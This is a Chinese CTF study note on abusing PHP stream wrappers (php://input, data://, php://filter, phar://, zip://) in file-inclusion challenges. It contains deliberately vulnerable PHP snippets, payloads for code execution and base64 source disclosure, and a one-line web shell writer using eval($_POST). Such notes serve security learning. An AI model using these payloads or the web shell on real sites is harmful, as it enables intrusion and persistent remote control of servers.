打ctf的时候发现很多时候都要用到php伪协议,所以整理一下

php://input

enctype=”multipart/form-data” 的时候 php://input 是无效的

使用条件:allow_url_include:On

php://input 是个可以访问请求的原始数据的只读流,可以让本来的get参数从post获得数据

使用的时候不要把数据包中的GET改成POST,直接在下面空一行填参数内容内容即可(不要加参数名=)

1.绕过file_get_contents内容检查

1
2
3
4
5
6
7
8
9
10
<?php
include('flag.php');
if(file_get_contents($_GET['a'],'r')=='get flag'){
echo 'success!'.'<br/>';
echo $flag;
}
else{
echo 'wrong file!';
}
?>

我们不知道哪个文件的内容是getflag,但file_get_contents的第一个参数不一定是文件名,也可以是一个url或者伪协议

因此可以访问?a=php://input并添加get flag在http包中,拿到flag

2.通过include实现代码执行

test.php内容如下

1
2
3
<?php
include($_GET['a']);
?>

可以通过php://input实现代码执行

访问/test.php?a=php://input
用bp截包后在下面加上

1
<?php echo '123'?>

可以看到输出了123,
这种情况我们可以尝试直接写个shell

1
<?php fputs(fopen("a.php","w"),'<?php eval($_POST["a"]);?>');?>

data://

使用条件:
allow_url_fopen,allow_url_include 均为on

绕过file_get_contents内容检查

data://同样可以用来绕过file_get_contents的内容检查,
还是这段代码

1
2
3
4
5
6
7
8
9
10
<?php
include('flag.php');
if(file_get_contents($_GET['a'],'r')=='get flag'){
echo 'success!'.'<br/>';
echo $flag;
}
else{
echo 'wrong file!';
}
?>

可以用
?a=data:text/plain,get flag
或a=data://text/plain,get flag
或a=data:text/plain,get flag
拿到flag,
也可以使用base64编码:
a=data:text/plain;base64,Z2V0IGZsYWc=

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用

使用条件:

allow_url_fopen:On/Off
allow_url_include:On/Off ,On时可以远程包含文件

convert.base64-encode

  • convert.base64-encode过滤器常用于配合include读取源代码

还是这段代码

1
2
3
<?php
include($_GET['a']);
?>

如果直接包含flag.php的话是读不到源代码的,但我们可以访问

?a=php://filter/convert.base64-encode/resource=flag.php
得到flag.php base64编码后的源代码

phar://

该协议可以配合文件包含漏洞绕过文件上传类型的限制

使用条件:

allow_url_fopen:On/Off
allow_url_include:On/Off

比如只允许上传jpg格式的文件,可以先在shell.txt中写入shell的内容,打包成a.zip,将a.zip改名成a.jpg上传,然后用

?file=phar://a.jpg/shell.txt来执行shell

zip://

使用条件:
allow_url_fopen:On/Off
allow_url_include:On/Off

与phar://类似